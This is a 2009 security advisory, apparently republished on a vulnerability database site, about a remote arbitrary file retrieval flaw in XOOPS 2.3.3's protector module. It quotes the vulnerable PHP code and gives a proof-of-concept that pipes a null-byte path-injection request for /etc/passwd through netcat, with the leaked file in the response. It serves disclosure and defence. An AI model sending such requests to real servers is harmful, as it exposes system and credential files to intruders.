Lucene search
K

XOOPS 2.3.3 File Disclosure

🗓️ 16 Jun 2009 00:00:00Reported by Luca De FulgentisType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

XOOPS 2.3.3 Remote Arbitrary File Retrieval Vulnerabilit

Code
` ========================================================================   
XOOPS <= 2.3.3 Remote Arbitrary File Retrieval  
========================================================================  
  
Affected Software : XOOPS <= 2.3.3  
Author : Luca "daath" De Fulgentis - daath[at]nibblesec[dot]org  
Advisory number : NS-2009-01  
Advisory URL : http://blog.nibblesec.org/advisories/NS-2009-01.txt  
Severity : Low/Medium  
Local/Remote : Remote  
  
  
[Summary]  
  
XOOPS is a web application platform written in PHP for the MySQL database.  
Its object orientation makes it an ideal tool for developing small or large  
community websites, intra company and corporate portals, weblogs and much  
more. (Reference : http://www.xoops.org).  
  
Nibble Security discovered a remote arbitrary file retrieval in XOOPS version  
2.3.3, which could be exploited to read system or XOOPS configuration files  
("mainfile.php").  
  
  
[Vulnerability Details]  
  
A vulnerable read_file() function can be found in "module_icon.php" under  
/xoops_lib/modules/protector/. Here an image icon is read and its full  
pathname is constructed using a user-controllable variable called  
"$mydirpath" :  
  
=============================================================================  
[...]  
if( file_exists( $mydirpath.'/module_icon.png' ) ) {  
$use_custom_icon = true ;  
$icon_fullpath = $mydirpath.'/module_icon.png' ;  
} else {  
$use_custom_icon = false ;  
$icon_fullpath = dirname(__FILE__).'/module_icon.png' ;  
}  
  
[...]  
} else {  
  
readfile( $icon_fullpath ) ;  
}  
?>  
=============================================================================  
  
If register_globals is enabled and magic_quotes_gpc disabled, it's possible  
to control the "$mydirpath" variable content and inject an arbitrary filename  
(followed by a NULL byte (%00) to make file_exists() function ignore the  
following "/module_icon.png"), resulting in file content inclusion in  
application response.  
  
  
[Proof of Concept Exploit]  
  
Some browsers (e.g. Mozilla Firefox) may refuse broken images (such as the  
one generated by the vulnerable script). Bacause of this netcat/telnet can be  
easily used to exploit this vulnerability :  
  
daath@shaytan:~$ echo -e "GET /xoops_lib/modules/protector/module_icon.php?  
mydirpath=/etc/passwd%00 HTTP/1.0\n\n" | nc 127.0.0.1 80  
  
HTTP/1.1 200 OK  
Date: Mon, 16 Mar 2009 19:07:03 GMT  
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch  
X-Powered-By: PHP/5.2.6-2ubuntu4.1  
Expires: Mon, 16 Mar 2009 21:00:00 +0100  
Cache-Control: public, max-age=3600  
Last-Modified: Mon, 16 Mar 2009 20:00:00 +0100  
Content-Length: 1661  
Connection: close  
Content-Type: image/png  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
[...]  
daath@shaytan:~$  
  
  
[Time Table]  
  
17/03/2009 - Vendor notified.  
17/03/2009 - Vendor response.  
28/05/2009 - Vendor re-contacted (no answer).  
16/06/2009 - Public disclosure.  
  
  
[Legal Notices]  
  
The information in the advisory is believed to be accurate at the   
time of publishing based on currently available information.   
This information is provided as-is, as a free service to the community.   
There are no warranties with regard to this information.  
The author does not accept any liability for any direct,   
indirect, or consequential loss or damage arising from use of,   
or reliance on, this information.  
Permission is hereby granted for the redistribution of this alert,  
provided that the content is not altered in any way, except   
reformatting, and that due credit is given.  
  
This vulnerability has been disclosed in accordance with the RFP   
Full-Disclosure Policy v2.0, available at:  
http://www.wiretrip.net/rfp/policy.html  
  
  
  
# Modules directory has an .htaccess file blocking php files from being accessed. Still the possibility is there. /str0ke  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2009 00:00Current
7.4High risk
Vulners AI Score7.4
36